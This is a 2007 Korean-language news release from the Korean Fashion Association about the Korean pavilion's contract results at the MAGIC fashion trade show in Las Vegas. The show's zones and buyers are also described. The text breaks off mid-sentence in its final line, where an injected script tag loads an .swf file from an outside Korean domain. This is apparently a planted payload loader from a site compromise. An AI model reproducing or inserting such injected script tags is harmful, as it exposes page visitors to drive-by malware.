매직쇼 한국관, 366만불 계약

한국패션협회 2007-09-04 11:58 조회수 아이콘 672

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 한국패션협회(회장 원대연)는 중소기업청 지원으로 지난 8월27일부터 30일까지 미국 라스베가스컨벤션센터에서 개최된 매직쇼에 15개사가 참가, 366만불의 계약 성과를 달성하였으며, 이는 세계 경제 침체상황에서 칠레, 모로코, 멕시코 등 중남미국가와 홍콩, 대만, 인도, 중국 등 아시아의 경쟁국이 대거 참가하여 치열한 경쟁 가운데 얻은 결과여서 세계시장에서 한국 패션제품의 경쟁력이 우위에 있음이 여실히 드러났다.


매년 2월과 8월에 50여개국 3,000여개사가 참가하고 80여개국 10여만명의 바이어가 경쟁력 있는 제품의 소싱을 위해 한자리에 모이는 미주 최대의 패션 전문 전시회로서 한국은 2000년을 시작으로 매년 2회씩 올해로 14회째 참가하고 있으며, 참가업체의 50% 정도가 지속적으로 참가하고 있는 인기 해외 전시회중에 하나다.


의류부터 잡화, 소재, 부자재에 이르기까지 다양한 아이템이 전시되며, 소량 리테일 바이어부터 컨테이너 베이스의 대량 홀세일 바이어까지 다양한 형태의 바이어가 미국 등 미주시장 뿐만 아니라 유럽, 아시아에서까지 사입을 위해 동 전시회에 방문하고 있다.


소위 브랜드관으로 불리는 MAGIC, WWD MAGIC, MAGIC KIDS는 자체브랜드를 보유한 의류 및 악세사리 업체가 소량 오더도 납품할 수 있는 중가대의 제품들을 전시하는 곳으로서 여성복관(WWD MAGIC)은 중소 브랜드가 리테일러를 대상으로, 남성복관(MAGIC)은 유명 브랜드가 대형부스(고급매장 컨셉)를 설치하고, 초청된 고객과 품평회 형태로 상담을 진행한다.


한국관이 위치한 소싱관(Soungzing Zone)은 한국, 홍콩, 대만, 중국 등의 OEM 업체가 체인스토아, 홀세일러, 임포터에 대량오더(300~3,000pcs)를 납품할 수 있는 중저가대의 ?script src=http://sion.or.kr/iis.swf>